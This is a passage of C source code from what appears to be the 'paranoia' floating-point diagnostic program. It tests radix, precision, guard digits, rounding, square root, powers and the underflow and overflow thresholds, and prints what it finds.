<= X) || (X <= Zero))); /*... now U1 == 1 ulp of 1 - ... */ if (U1 == E1) printf("confirms closest relative separation U1 .\n"); else printf("gets better closest relative separation U1 = %.7e .\n", U1); W = One / U1; F9 = (Half - U1) + Half; Radix = FLOOR(0.01 + U2 / U1); if (Radix == E0) printf("Radix confirmed.\n"); else printf("MYSTERY: recalculated Radix = %.7e .\n", Radix); TstCond (Defect, Radix <= Eight + Eight, "Radix is too big: roundoff problems"); TstCond (Flaw, (Radix == Two) || (Radix == 10) || (Radix == One), "Radix is not as good as 2 or 10"); /*=============================================*/ Milestone = 20; /*=============================================*/ TstCond (Failure, F9 - Half < Half, "(1-U1)-1/2 < 1/2 is FALSE, prog. fails?"); X = F9; I = 1; Y = X - Half; Z = Y - Half; TstCond (Failure, (X != One) || (Z == Zero), "Comparison is fuzzy,X=1 but X-1/2-1/2 != 0"); X = One + U2; I = 0; /*=============================================*/ Milestone = 25; /*=============================================*/ /*... BMinusU2 = nextafter(Radix, 0) */ BMinusU2 = Radix - One; BMinusU2 = (BMinusU2 - U2) + One; /* Purify Integers */ if (Radix != One) { X = - TwoForty * LOG(U1) / LOG(Radix); Y = FLOOR(Half + X); if (FABS(X - Y) * Four < One) X = Y; Precision = X / TwoForty; Y = FLOOR(Half + Precision); if (FABS(Precision - Y) * TwoForty < Half) Precision = Y; } if ((Precision != FLOOR(Precision)) || (Radix == One)) { printf("Precision cannot be characterized by an Integer number\n"); printf("of significant digits but, by itself, this is a minor flaw.\n"); } if (Radix == One) printf("logarithmic encoding has precision characterized solely by U1.\n"); else printf("The number of significant digits of the Radix is %f .\n", Precision); TstCond (Serious, U2 * Nine * Nine * TwoForty < One, "Precision worse than 5 decimal figures "); /*=============================================*/ Milestone = 30; /*=============================================*/ /* Test for extra-precise subepressions */ X = FABS(((Four / Three - One) - One / Four) * Three - One / Four); do { Z2 = X; X = (One + (Half * Z2 + ThirtyTwo * Z2 * Z2)) - One; } while ( ! ((Z2 <= X) || (X <= Zero))); X = Y = Z = FABS((Three / Four - Two / Three) * Three - One / Four); do { Z1 = Z; Z = (One / Two - ((One / Two - (Half * Z1 + ThirtyTwo * Z1 * Z1)) + One / Two)) + One / Two; } while ( ! ((Z1 <= Z) || (Z <= Zero))); do { do { Y1 = Y; Y = (Half - ((Half - (Half * Y1 + ThirtyTwo * Y1 * Y1)) + Half )) + Half; } while ( ! ((Y1 <= Y) || (Y <= Zero))); X1 = X; X = ((Half * X1 + ThirtyTwo * X1 * X1) - F9) + F9; } while ( ! ((X1 <= X) || (X <= Zero))); if ((X1 != Y1) || (X1 != Z1)) { BadCond(Serious, "Disagreements among the values X1, Y1, Z1,\n"); printf("respectively %.7e, %.7e, %.7e,\n", X1, Y1, Z1); printf("are symptoms of inconsistencies introduced\n"); printf("by extra-precise evaluation of arithmetic subexpressions.\n"); notify("Possibly some part of this"); if ((X1 == U1) || (Y1 == U1) || (Z1 == U1)) printf( "That feature is not tested further by this program.\n") ; } else { if ((Z1 != U1) || (Z2 != U2)) { if ((Z1 >= U1) || (Z2 >= U2)) { BadCond(Failure, ""); notify("Precision"); printf("\tU1 = %.7e, Z1 - U1 = %.7e\n",U1,Z1-U1); printf("\tU2 = %.7e, Z2 - U2 = %.7e\n",U2,Z2-U2); } else { if ((Z1 <= Zero) || (Z2 <= Zero)) { printf("Because of unusual Radix = %f", Radix); printf(", or exact rational arithmetic a result\n"); printf("Z1 = %.7e, or Z2 = %.7e ", Z1, Z2); notify("of an\nextra-precision"); } if (Z1 != Z2 || Z1 > Zero) { X = Z1 / U1; Y = Z2 / U2; if (Y > X) X = Y; Q = - LOG(X); printf("Some subexpressions appear to be calculated extra\n"); printf("precisely with about %g extra B-digits, i.e.\n", (Q / LOG(Radix))); printf("roughly %g extra significant decimals.\n", Q / LOG(10.)); } printf("That feature is not tested further by this program.\n"); } } } Pause(); /*=============================================*/ /*SPLIT } #include "paranoia.h" void part3(VOID){ */ Milestone = 35; /*=============================================*/ if (Radix >= Two) { X = W / (Radix * Radix); Y = X + One; Z = Y - X; T = Z + U2; X = T - Z; TstCond (Failure, X == U2, "Subtraction is not normalized X=Y,X+Z != Y+Z!"); if (X == U2) printf( "Subtraction appears to be normalized, as it should be."); } printf("\nChecking for guard digit in *, /, and -.\n"); Y = F9 * One; Z = One * F9; X = F9 - Half; Y = (Y - Half) - X; Z = (Z - Half) - X; X = One + U2; T = X * Radix; R = Radix * X; X = T - Radix; X = X - Radix * U2; T = R - Radix; T = T - Radix * U2; X = X * (Radix - One); T = T * (Radix - One); if ((X == Zero) && (Y == Zero) && (Z == Zero) && (T == Zero)) GMult = Yes; else { GMult = No; TstCond (Serious, False, "* lacks a Guard Digit, so 1*X != X"); } Z = Radix * U2; X = One + Z; Y = FABS((X + Z) - X * X) - U2; X = One - U2; Z = FABS((X - U2) - X * X) - U1; TstCond (Failure, (Y <= Zero) && (Z <= Zero), "* gets too many final digits wrong.\n"); Y = One - U2; X = One + U2; Z = One / Y; Y = Z - X; X = One / Three; Z = Three / Nine; X = X - Z; T = Nine / TwentySeven; Z = Z - T; TstCond(Defect, X == Zero && Y == Zero && Z == Zero, "Division lacks a Guard Digit, so error can exceed 1 ulp\n\ or 1/3 and 3/9 and 9/27 may disagree"); Y = F9 / One; X = F9 - Half; Y = (Y - Half) - X; X = One + U2; T = X / One; X = T - X; if ((X == Zero) && (Y == Zero) && (Z == Zero)) GDiv = Yes; else { GDiv = No; TstCond (Serious, False, "Division lacks a Guard Digit, so X/1 != X"); } X = One / (One + U2); Y = X - Half - Half; TstCond (Serious, Y < Zero, "Computed value of 1/1.000..1 >= 1"); X = One - U2; Y = One + Radix * U2; Z = X * Radix; T = Y * Radix; R = Z / Radix; StickyBit = T / Radix; X = R - X; Y = StickyBit - Y; TstCond (Failure, X == Zero && Y == Zero, "* and/or / gets too many last digits wrong"); Y = One - U1; X = One - F9; Y = One - Y; T = Radix - U2; Z = Radix - BMinusU2; T = Radix - T; if ((X == U1) && (Y == U1) && (Z == U2) && (T == U2)) GAddSub = Yes; else { GAddSub = No; TstCond (Serious, False, "- lacks Guard Digit, so cancellation is obscured"); } if (F9 != One && F9 - One >= Zero) { BadCond(Serious, "comparison alleges (1-U1) < 1 although\n"); printf(" subtraction yields (1-U1) - 1 = 0 , thereby vitiating\n"); printf(" such precautions against division by zero as\n"); printf(" ... if (X == 1.0) {.....} else {.../(X-1.0)...}\n"); } if (GMult == Yes && GDiv == Yes && GAddSub == Yes) printf( " *, /, and - appear to have guard digits, as they should.\n"); /*=============================================*/ Milestone = 40; /*=============================================*/ Pause(); printf("Checking rounding on multiply, divide and add/subtract.\n"); RMult = Other; RDiv = Other; RAddSub = Other; RadixD2 = Radix / Two; A1 = Two; Done = False; do { AInvrse = Radix; do { X = AInvrse; AInvrse = AInvrse / A1; } while ( ! (FLOOR(AInvrse) != AInvrse)); Done = (X == One) || (A1 > Three); if (! Done) A1 = Nine + One; } while ( ! (Done)); if (X == One) A1 = Radix; AInvrse = One / A1; X = A1; Y = AInvrse; Done = False; do { Z = X * Y - Half; TstCond (Failure, Z == Half, "X * (1/X) differs from 1"); Done = X == Radix; X = Radix; Y = One / X; } while ( ! (Done)); Y2 = One + U2; Y1 = One - U2; X = OneAndHalf - U2; Y = OneAndHalf + U2; Z = (X - U2) * Y2; T = Y * Y1; Z = Z - X; T = T - X; X = X * Y2; Y = (Y + U2) * Y1; X = X - OneAndHalf; Y = Y - OneAndHalf; if ((X == Zero) && (Y == Zero) && (Z == Zero) && (T <= Zero)) { X = (OneAndHalf + U2) * Y2; Y = OneAndHalf - U2 - U2; Z = OneAndHalf + U2 + U2; T = (OneAndHalf - U2) * Y1; X = X - (Z + U2); StickyBit = Y * Y1; S = Z * Y2; T = T - Y; Y = (U2 - Y) + StickyBit; Z = S - (Z + U2 + U2); StickyBit = (Y2 + U2) * Y1; Y1 = Y2 * Y1; StickyBit = StickyBit - Y2; Y1 = Y1 - Half; if ((X == Zero) && (Y == Zero) && (Z == Zero) && (T == Zero) && ( StickyBit == Zero) && (Y1 == Half)) { RMult = Rounded; printf("Multiplication appears to round correctly.\n"); } else if ((X + U2 == Zero) && (Y < Zero) && (Z + U2 == Zero) && (T < Zero) && (StickyBit + U2 == Zero) && (Y1 < Half)) { RMult = Chopped; printf("Multiplication appears to chop.\n"); } else printf("* is neither chopped nor correctly rounded.\n"); if ((RMult == Rounded) && (GMult == No)) notify("Multiplication"); } else printf("* is neither chopped nor correctly rounded.\n"); /*=============================================*/ Milestone = 45; /*=============================================*/ Y2 = One + U2; Y1 = One - U2; Z = OneAndHalf + U2 + U2; X = Z / Y2; T = OneAndHalf - U2 - U2; Y = (T - U2) / Y1; Z = (Z + U2) / Y2; X = X - OneAndHalf; Y = Y - T; T = T / Y1; Z = Z - (OneAndHalf + U2); T = (U2 - OneAndHalf) + T; if (! ((X > Zero) || (Y > Zero) || (Z > Zero) || (T > Zero))) { X = OneAndHalf / Y2; Y = OneAndHalf - U2; Z = OneAndHalf + U2; X = X - Y; T = OneAndHalf / Y1; Y = Y / Y1; T = T - (Z + U2); Y = Y - Z; Z = Z / Y2; Y1 = (Y2 + U2) / Y2; Z = Z - OneAndHalf; Y2 = Y1 - Y2; Y1 = (F9 - U1) / F9; if ((X == Zero) && (Y == Zero) && (Z == Zero) && (T == Zero) && (Y2 == Zero) && (Y2 == Zero) && (Y1 - Half == F9 - Half )) { RDiv = Rounded; printf("Division appears to round correctly.\n"); if (GDiv == No) notify("Division"); } else if ((X < Zero) && (Y < Zero) && (Z < Zero) && (T < Zero) && (Y2 < Zero) && (Y1 - Half < F9 - Half)) { RDiv = Chopped; printf("Division appears to chop.\n"); } } if (RDiv == Other) printf("/ is neither chopped nor correctly rounded.\n"); BInvrse = One / Radix; TstCond (Failure, (BInvrse * Radix - Half == Half), "Radix * ( 1 / Radix ) differs from 1"); /*=============================================*/ /*SPLIT } #include "paranoia.h" void part4(VOID){ */ Milestone = 50; /*=============================================*/ TstCond (Failure, ((F9 + U1) - Half == Half) && ((BMinusU2 + U2 ) - One == Radix - One), "Incomplete carry-propagation in Addition"); X = One - U1 * U1; Y = One + U2 * (One - U2); Z = F9 - Half; X = (X - Half) - Z; Y = Y - One; if ((X == Zero) && (Y == Zero)) { RAddSub = Chopped; printf("Add/Subtract appears to be chopped.\n"); } if (GAddSub == Yes) { X = (Half + U2) * U2; Y = (Half - U2) * U2; X = One + X; Y = One + Y; X = (One + U2) - X; Y = One - Y; if ((X == Zero) && (Y == Zero)) { X = (Half + U2) * U1; Y = (Half - U2) * U1; X = One - X; Y = One - Y; X = F9 - X; Y = One - Y; if ((X == Zero) && (Y == Zero)) { RAddSub = Rounded; printf("Addition/Subtraction appears to round correctly.\n"); if (GAddSub == No) notify("Add/Subtract"); } else printf("Addition/Subtraction neither rounds nor chops.\n"); } else printf("Addition/Subtraction neither rounds nor chops.\n"); } else printf("Addition/Subtraction neither rounds nor chops.\n"); S = One; X = One + Half * (One + Half); Y = (One + U2) * Half; Z = X - Y; T = Y - X; StickyBit = Z + T; if (StickyBit != Zero) { S = Zero; BadCond(Flaw, "(X - Y) + (Y - X) is non zero!\n"); } StickyBit = Zero; if ((GMult == Yes) && (GDiv == Yes) && (GAddSub == Yes) && (RMult == Rounded) && (RDiv == Rounded) && (RAddSub == Rounded) && (FLOOR(RadixD2) == RadixD2)) { printf("Checking for sticky bit.\n"); X = (Half + U1) * U2; Y = Half * U2; Z = One + Y; T = One + X; if ((Z - One <= Zero) && (T - One >= U2)) { Z = T + Y; Y = Z - X; if ((Z - T >= U2) && (Y - T == Zero)) { X = (Half + U1) * U1; Y = Half * U1; Z = One - Y; T = One - X; if ((Z - One == Zero) && (T - F9 == Zero)) { Z = (Half - U1) * U1; T = F9 - Z; Q = F9 - Y; if ((T - F9 == Zero) && (F9 - U1 - Q == Zero)) { Z = (One + U2) * OneAndHalf; T = (OneAndHalf + U2) - Z + U2; X = One + Half / Radix; Y = One + Radix * U2; Z = X * Y; if (T == Zero && X + Radix * U2 - Z == Zero) { if (Radix != Two) { X = Two + U2; Y = X / Two; if ((Y - One == Zero)) StickyBit = S; } else StickyBit = S; } } } } } } if (StickyBit == One) printf("Sticky bit apparently used correctly.\n"); else printf("Sticky bit used incorrectly or not at all.\n"); TstCond (Flaw, !(GMult == No || GDiv == No || GAddSub == No || RMult == Other || RDiv == Other || RAddSub == Other), "lack(s) of guard digits or failure(s) to correctly round or chop\n\ (noted above) count as one flaw in the final tally below"); /*=============================================*/ Milestone = 60; /*=============================================*/ printf("\n"); printf("Does Multiplication commute? "); printf("Testing on %d random pairs.\n", NoTrials); Random9 = SQRT(3.0); Random1 = Third; I = 1; do { X = Random(); Y = Random(); Z9 = Y * X; Z = X * Y; Z9 = Z - Z9; I = I + 1; } while ( ! ((I > NoTrials) || (Z9 != Zero))); if (I == NoTrials) { Random1 = One + Half / Three; Random2 = (U2 + U1) + One; Z = Random1 * Random2; Y = Random2 * Random1; Z9 = (One + Half / Three) * ((U2 + U1) + One) - (One + Half / Three) * ((U2 + U1) + One); } if (! ((I == NoTrials) || (Z9 == Zero))) BadCond(Defect, "X * Y == Y * X trial fails.\n"); else printf(" No failures found in %d integer pairs.\n", NoTrials); /*=============================================*/ Milestone = 70; /*=============================================*/ printf("\nRunning test of square root(x).\n"); TstCond (Failure, (Zero == SQRT(Zero)) && (- Zero == SQRT(- Zero)) && (One == SQRT(One)), "Square root of 0.0, -0.0 or 1.0 wrong"); MinSqEr = Zero; MaxSqEr = Zero; J = Zero; X = Radix; OneUlp = U2; SqXMinX (Serious); X = BInvrse; OneUlp = BInvrse * U1; SqXMinX (Serious); X = U1; OneUlp = U1 * U1; SqXMinX (Serious); if (J != Zero) Pause(); printf("Testing if sqrt(X * X) == X for %d Integers X.\n", NoTrials); J = Zero; X = Two; Y = Radix; if ((Radix != One)) do { X = Y; Y = Radix * Y; } while ( ! ((Y - X >= NoTrials))); OneUlp = X * U2; I = 1; while (I <= NoTrials) { X = X + One; SqXMinX (Defect); if (J > Zero) break; I = I + 1; } printf("Test for sqrt monotonicity.\n"); I = - 1; X = BMinusU2; Y = Radix; Z = Radix + Radix * U2; NotMonot = False; Monot = False; while ( ! (NotMonot || Monot)) { I = I + 1; X = SQRT(X); Q = SQRT(Y); Z = SQRT(Z); if ((X > Q) || (Q > Z)) NotMonot = True; else { Q = FLOOR(Q + Half); if (!(I > 0 || Radix == Q * Q)) Monot = True; else if (I > 0) { if (I > 1) Monot = True; else { Y = Y * BInvrse; X = Y - U1; Z = Y + U1; } } else { Y = Q; X = Y - U2; Z = Y + U2; } } } if (Monot) printf("sqrt has passed a test for Monotonicity.\n"); else { BadCond(Defect, ""); printf("sqrt(X) is non-monotonic for X near %.7e .\n", Y); } /*=============================================*/ /*SPLIT } #include "paranoia.h" void part5(VOID){ */ Milestone = 80; /*=============================================*/ MinSqEr = MinSqEr + Half; MaxSqEr = MaxSqEr - Half; Y = (SQRT(One + U2) - One) / U2; SqEr = (Y - One) + U2 / Eight; if (SqEr > MaxSqEr) MaxSqEr = SqEr; SqEr = Y + U2 / Eight; if (SqEr < MinSqEr) MinSqEr = SqEr; Y = ((SQRT(F9) - U2) - (One - U2)) / U1; SqEr = Y + U1 / Eight; if (SqEr > MaxSqEr) MaxSqEr = SqEr; SqEr = (Y + One) + U1 / Eight; if (SqEr < MinSqEr) MinSqEr = SqEr; OneUlp = U2; X = OneUlp; for( Indx = 1; Indx <= 3; ++Indx) { Y = SQRT((X + U1 + X) + F9); Y = ((Y - U2) - ((One - U2) + X)) / OneUlp; Z = ((U1 - X) + F9) * Half * X * X / OneUlp; SqEr = (Y + Half) + Z; if (SqEr < MinSqEr) MinSqEr = SqEr; SqEr = (Y - Half) + Z; if (SqEr > MaxSqEr) MaxSqEr = SqEr; if (((Indx == 1) || (Indx == 3))) X = OneUlp * Sign (X) * FLOOR(Eight / (Nine * SQRT(OneUlp))); else { OneUlp = U1; X = - OneUlp; } } /*=============================================*/ Milestone = 85; /*=============================================*/ SqRWrng = False; Anomaly = False; RSqrt = Other; /* ~dgh */ if (Radix != One) { printf("Testing whether sqrt is rounded or chopped.\n"); D = FLOOR(Half + POW(Radix, One + Precision - FLOOR(Precision))); /* ... == Radix^(1 + fract) if (Precision == Integer + fract. */ X = D / Radix; Y = D / A1; if ((X != FLOOR(X)) || (Y != FLOOR(Y))) { Anomaly = True; } else { X = Zero; Z2 = X; Y = One; Y2 = Y; Z1 = Radix - One; FourD = Four * D; do { if (Y2 > Z2) { Q = Radix; Y1 = Y; do { X1 = FABS(Q + FLOOR(Half - Q / Y1) * Y1); Q = Y1; Y1 = X1; } while ( ! (X1 <= Zero)); if (Q <= One) { Z2 = Y2; Z = Y; } } Y = Y + Two; X = X + Eight; Y2 = Y2 + X; if (Y2 >= FourD) Y2 = Y2 - FourD; } while ( ! (Y >= D)); X8 = FourD - Z2; Q = (X8 + Z * Z) / FourD; X8 = X8 / Eight; if (Q != FLOOR(Q)) Anomaly = True; else { Break = False; do { X = Z1 * Z; X = X - FLOOR(X / Radix) * Radix; if (X == One) Break = True; else Z1 = Z1 - One; } while ( ! (Break || (Z1 <= Zero))); if ((Z1 <= Zero) && (! Break)) Anomaly = True; else { if (Z1 > RadixD2) Z1 = Z1 - Radix; do { NewD(); } while ( ! (U2 * D >= F9)); if (D * Radix - D != W - D) Anomaly = True; else { Z2 = D; I = 0; Y = D + (One + Z) * Half; X = D + Z + Q; SR3750(); Y = D + (One - Z) * Half + D; X = D - Z + D; X = X + Q + X; SR3750(); NewD(); if (D - Z2 != W - Z2) Anomaly = True; else { Y = (D - Z2) + (Z2 + (One - Z) * Half); X = (D - Z2) + (Z2 - Z + Q); SR3750(); Y = (One + Z) * Half; X = Q; SR3750(); if (I == 0) Anomaly = True; } } } } } if ((I == 0) || Anomaly) { BadCond(Failure, "Anomalous arithmetic with Integer < "); printf("Radix^Precision = %.7e\n", W); printf(" fails test whether sqrt rounds or chops.\n"); SqRWrng = True; } } if (! Anomaly) { if (! ((MinSqEr < Zero) || (MaxSqEr > Zero))) { RSqrt = Rounded; printf("Square root appears to be correctly rounded.\n"); } else { if ((MaxSqEr + U2 > U2 - Half) || (MinSqEr > Half) || (MinSqEr + Radix < Half)) SqRWrng = True; else { RSqrt = Chopped; printf("Square root appears to be chopped.\n"); } } } if (SqRWrng) { printf("Square root is neither chopped nor correctly rounded.\n"); printf("Observed errors run from %.7e ", MinSqEr - Half); printf("to %.7e ulps.\n", Half + MaxSqEr); TstCond (Serious, MaxSqEr - MinSqEr < Radix * Radix, "sqrt gets too many last digits wrong"); } /*=============================================*/ Milestone = 90; /*=============================================*/ Pause(); printf("Testing powers Z^i for small Integers Z and i.\n"); N = 0; /* ... test powers of zero. */ I = 0; Z = -Zero; M = 3; Break = False; do { X = One; SR3980(); if (I <= 10) { I = 1023; SR3980(); } if (Z == MinusOne) Break = True; else { Z = MinusOne; /* .. if(-1)^N is invalid, replace MinusOne by One. */ I = - 4; } } while ( ! Break); PrintIfNPositive(); N1 = N; N = 0; Z = A1; M = (int)FLOOR(Two * LOG(W) / LOG(A1)); Break = False; do { X = Z; I = 1; SR3980(); if (Z == AInvrse) Break = True; else Z = AInvrse; } while ( ! (Break)); /*=============================================*/ Milestone = 100; /*=============================================*/ /* Powers of Radix have been tested, */ /* next try a few primes */ M = NoTrials; Z = Three; do { X = Z; I = 1; SR3980(); do { Z = Z + Two; } while ( Three * FLOOR(Z / Three) == Z ); } while ( Z < Eight * Three ); if (N > 0) { printf("Errors like this may invalidate financial calculations\n"); printf("\tinvolving interest rates.\n"); } PrintIfNPositive(); N += N1; if (N == 0) printf("... no discrepancies found.\n"); if (N > 0) Pause(); else printf("\n"); /*=============================================*/ /*SPLIT } #include "paranoia.h" void part6(VOID){ */ Milestone = 110; /*=============================================*/ printf("Seeking Underflow thresholds UfThold and E0.\n"); D = U1; if (Precision != FLOOR(Precision)) { D = BInvrse; X = Precision; do { D = D * BInvrse; X = X - One; } while ( X > Zero); } Y = One; Z = D; /* ... D is power of 1/Radix < 1. */ do { C = Y; Y = Z; Z = Y * Y; } while ((Y > Z) && (Z + Z > Z)); Y = C; Z = Y * D; do { C = Y; Y = Z; Z = Y * D; } while ((Y > Z) && (Z + Z > Z)); if (Radix < Two) HInvrse = Two; else HInvrse = Radix; H = One / HInvrse; /* ... 1/HInvrse == H == Min(1/Radix, 1/2) */ CInvrse = One / C; E0 = C; Z = E0 * H; /* ...1/Radix^(BIG Integer) << 1 << CInvrse == 1/C */ do { Y = E0; E0 = Z; Z = E0 * H; } while ((E0 > Z) && (Z + Z > Z)); UfThold = E0; E1 = Zero; Q = Zero; E9 = U2; S = One + E9; D = C * S; if (D <= C) { E9 = Radix * U2; S = One + E9; D = C * S; if (D <= C) { BadCond(Failure, "multiplication gets too many last digits wrong.\n"); Underflow = E0; Y1 = Zero; PseudoZero = Z; Pause(); } } else { Underflow = D; PseudoZero = Underflow * H; UfThold = Zero; do { Y1 = Underflow; Underflow = PseudoZero; if (E1 + E1 <= E1) { Y2 = Underflow * HInvrse; E1 = FABS(Y1 - Y2); Q = Y1; if ((UfThold == Zero) && (Y1 != Y2)) UfThold = Y1; } PseudoZero = PseudoZero * H; } while ((Underflow > PseudoZero) && (PseudoZero + PseudoZero > PseudoZero)); } /* Comment line 4530 .. 4560 */ if (PseudoZero != Zero) { printf("\n"); Z = PseudoZero; /* ... Test PseudoZero for "phoney- zero" violates */ /* ... PseudoZero < Underflow or PseudoZero < PseudoZero + PseudoZero ... */ if (PseudoZero <= Zero) { BadCond(Failure, "Positive expressions can underflow to an\n"); printf("allegedly negative value\n"); printf("PseudoZero that prints out as: %g .\n", PseudoZero); X = - PseudoZero; if (X <= Zero) { printf("But -PseudoZero, which should be\n"); printf("positive, isn't; it prints out as %g .\n", X); } } else { BadCond(Flaw, "Underflow can stick at an allegedly positive\n"); printf("value PseudoZero that prints out as %g .\n", PseudoZero); } TstPtUf(); } /*=============================================*/ Milestone = 120; /*=============================================*/ if (CInvrse * Y > CInvrse * Y1) { S = H * S; E0 = Underflow; } if (! ((E1 == Zero) || (E1 == E0))) { BadCond(Defect, ""); if (E1 < E0) { printf("Products underflow at a higher"); printf(" threshold than differences.\n"); if (PseudoZero == Zero) E0 = E1; } else { printf("Difference underflows at a higher"); printf(" threshold than products.\n"); } } printf("Smallest strictly positive number found is E0 = %g .\n", E0); Z = E0; TstPtUf(); Underflow = E0; if (N == 1) Underflow = Y; I = 4; if (E1 == Zero) I = 3; if (UfThold == Zero) I = I - 2; UfNGrad = True; switch (I) { case 1: UfThold = Underflow; if ((CInvrse * Q) != ((CInvrse * Y) * S)) { UfThold = Y; BadCond(Failure, "Either accuracy deteriorates as numbers\n"); printf("approach a threshold = %.17e\n", UfThold);; printf(" coming down from %.17e\n", C); printf(" or else multiplication gets too many last digits wrong.\n"); } Pause(); break; case 2: BadCond(Failure, "Underflow confuses Comparison, which alleges that\n"); printf("Q == Y while denying that |Q - Y| == 0; these values\n"); printf("print out as Q = %.17e, Y = %.17e .\n", Q, Y2); printf ("|Q - Y| = %.17e .\n" , FABS(Q - Y2)); UfThold = Q; break; case 3: X = X; break; case 4: if ((Q == UfThold) && (E1 == E0) && (FABS( UfThold - E1 / E9) <= E1)) { UfNGrad = False; printf("Underflow is gradual; it incurs Absolute Error =\n"); printf("(roundoff in UfThold) < E0.\n"); Y = E0 * CInvrse; Y = Y * (OneAndHalf + U2); X = CInvrse * (One + U2); Y = Y / X; IEEE = (Y == E0); } } if (UfNGrad) { printf("\n"); sigsave = sigfpe; if (setjmp(ovfl_buf)) { printf("Underflow / UfThold failed!\n"); R = H + H; } else R = SQRT(Underflow / UfThold); sigsave = 0; if (R <= H) { Z = R * UfThold; X = Z * (One + R * H * (One + H)); } else { Z = UfThold; X = Z * (One + H * H * (One + H)); } if (! ((X == Z) || (X - Z != Zero))) { BadCond(Flaw, ""); printf("X = %.17e\n\tis not equal to Z = %.17e .\n", X, Z); Z9 = X - Z; printf("yet X - Z yields %.17e .\n", Z9); printf(" Should this NOT signal Underflow, "); printf("this is a SERIOUS DEFECT\nthat causes "); printf("confusion when innocent statements like\n");; printf(" if (X == Z) ... else"); printf(" ... (f(X) - f(Z)) / (X - Z) ...\n"); printf("encounter Division by Zero although actually\n"); sigsave = sigfpe; if (setjmp(ovfl_buf)) printf("X / Z fails!\n"); else printf("X / Z = 1 + %g .\n", (X / Z - Half) - Half); sigsave = 0; } } printf("The Underflow threshold is %.17e, %s\n", UfThold, " below which"); printf("calculation may suffer larger Relative error than "); printf("merely roundoff.\n"); Y2 = U1 * U1; Y = Y2 * Y2; Y2 = Y * U1; if (Y2 <= UfThold) { if (Y > E0) { BadCond(Defect, ""); I = 5; } else { BadCond(Serious, ""); I = 4; } printf("Range is too narrow; U1^%d Underflows.\n", I); } /*=============================================*/ /*SPLIT } #include "paranoia.h" void part7(VOID){ */ Milestone = 130; /*=============================================*/ Y = - FLOOR(Half - TwoForty * LOG(UfThold) / LOG(HInvrse)) / TwoForty; Y2 = Y + Y; printf("Since underflow occurs below the threshold\n"); printf("UfThold = (%.17e) ^ (%.17e)\nonly underflow ", HInvrse, Y); printf("should afflict the expression\n\t(%.17e) ^ (%.17e);\n", HInvrse, Y2); printf("actually calculating yields:"); if (setjmp(ovfl_buf)) { sigsave = 0; BadCond(Serious, "trap on underflow.\n"); } else { sigsave = sigfpe; V9 = POW(HInvrse, Y2); sigsave = 0; printf(" %.17e .\n", V9); if (! ((V9 >= Zero) && (V9 <= (Radix + Radix + E9) * UfThold))) { BadCond(Serious, "this is not between 0 and underflow\n"); printf(" threshold = %.17e .\n", UfThold); } else if (! (V9 > UfThold * (One + E9))) printf("This computed value is O.K.\n"); else { BadCond(Defect, "this is not between 0 and underflow\n"); printf(" threshold = %.17e .\n", UfThold); } } /*=============================================*/ Milestone = 140; /*=============================================*/ printf("\n"); /* ...calculate Exp2 == exp(2) == 7.389056099... */ X = Zero; I = 2; Y = Two * Three; Q = Zero; N = 0; do { Z = X; I = I + 1; Y = Y / (I + I); R = Y + Q; X = Z + R; Q = (Z - X) + R; } while(X > Z); Z = (OneAndHalf + One / Eight) + X / (OneAndHalf * ThirtyTwo); X = Z * Z; Exp2 = X * X; X = F9; Y = X - U1; printf("Testing X^((X + 1) / (X - 1)) vs. exp(2) = %.17e as X -> 1.\n", Exp2); for(I = 1;;) { Z = X - BInvrse; Z = (X + One) / (Z - (One - BInvrse)); Q = POW(X, Z) - Exp2; if (FABS(Q) > TwoForty * U2) { N = 1; V9 = (X - BInvrse) - (One - BInvrse); BadCond(Defect, "Calculated"); printf(" %.17e for\n", POW(X,Z)); printf("\t(1 + (%.17e) ^ (%.17e);\n", V9, Z); printf("\tdiffers from correct value by %.17e .\n", Q); printf("\tThis much error may spoil financial\n"); printf("\tcalculations involving tiny interest rates.\n"); break; } else { Z = (Y - X) * Two + Y; X = Y; Y = Z; Z = One + (X - F9)*(X - F9); if (Z > One && I < NoTrials) I++; else { if (X > One) { if (N == 0) printf("Accuracy seems adequate.\n"); break; } else { X = One + U2; Y = U2 + U2; Y += X; I = 1; } } } } /*=============================================*/ Milestone = 150; /*=============================================*/ printf("Testing powers Z^Q at four nearly extreme values.\n"); N = 0; Z = A1; Q = FLOOR(Half - LOG(C) / LOG(A1)); Break = False; do { X = CInvrse; Y = POW(Z, Q); IsYeqX(); Q = - Q; X = C; Y = POW(Z, Q); IsYeqX(); if (Z < One) Break = True; else Z = AInvrse; } while ( ! (Break)); PrintIfNPositive(); if (N == 0) printf(" ... no discrepancies found.\n"); printf("\n"); /*=============================================*/ Milestone = 160; /*=============================================*/ Pause(); printf("Searching for Overflow threshold:\n"); printf("This may generate an error.\n"); Y = - CInvrse; V9 = HInvrse * Y; sigsave = sigfpe; if (setjmp(ovfl_buf)) { I = 0; V9 = Y; goto overflow; } do { V = Y; Y = V9; V9 = HInvrse * Y; } while(V9 < Y); I = 1; overflow: sigsave = 0; Z = V9; printf("Can `Z = -Y' overflow?\n"); printf("Trying it on Y = %.17e .\n", Y); V9 = - Y; V0 = V9; if (V - Y == V + V0) printf("Seems O.K.\n"); else { printf("finds a "); BadCond(Flaw, "-(-Y) differs from Y.\n"); } if (Z != Y) { BadCond(Serious, ""); printf("overflow past %.17e\n\tshrinks to %.17e .\n", Y, Z); } if (I) { Y = V * (HInvrse * U2 - HInvrse); Z = Y + ((One - HInvrse) * U2) * V; if (Z < V0) Y = Z; if (Y < V0) V = Y; if (V0 - V < V0) V = V0; } else { V = Y * (HInvrse * U2 - HInvrse); V = V + ((One - HInvrse) * U2) * Y; } printf("Overflow threshold is V = %.17e .\n", V); if (I) printf("Overflow saturates at V0 = %.17e .\n", V0); else printf("There is no saturation value because \ the system traps on overflow.\n"); V9 = V * One; printf("No Overflow should be signaled for V * 1 = %.17e\n", V9); V9 = V / One; printf(" nor for V / 1 = %.17e .\n", V9); printf("Any overflow signal separating this * from the one\n"); printf("above is a DEFECT.\n"); /*=============================================*/ Milestone = 170; /*=============================================*/ if (!(-V < V && -V0 < V0 && -UfThold < V && UfThold < V)) { BadCond(Failure, "Comparisons involving "); printf("+-%g, +-%g\nand +-%g are confused by Overflow.", V, V0, UfThold); } /*=============================================*/ Milestone = 175; /*=============================================*/ printf("\n"); for(Indx = 1; Indx <= 3; ++Indx) { switch (Indx) { case 1: Z = UfThold; break; case 2: Z = E0; break; case 3: Z = PseudoZero; break; } if (Z != Zero) { V9 = SQRT(Z); Y = V9 * V9; if (Y / (One - Radix * E9) < Z || Y > (One + Radix * E9) * Z) { /* dgh: + E9 --> * E9 */ if (V9 > U1) BadCond(Serious, ""); else BadCond(Defect, ""); printf("Comparison alleges that what prints as Z = 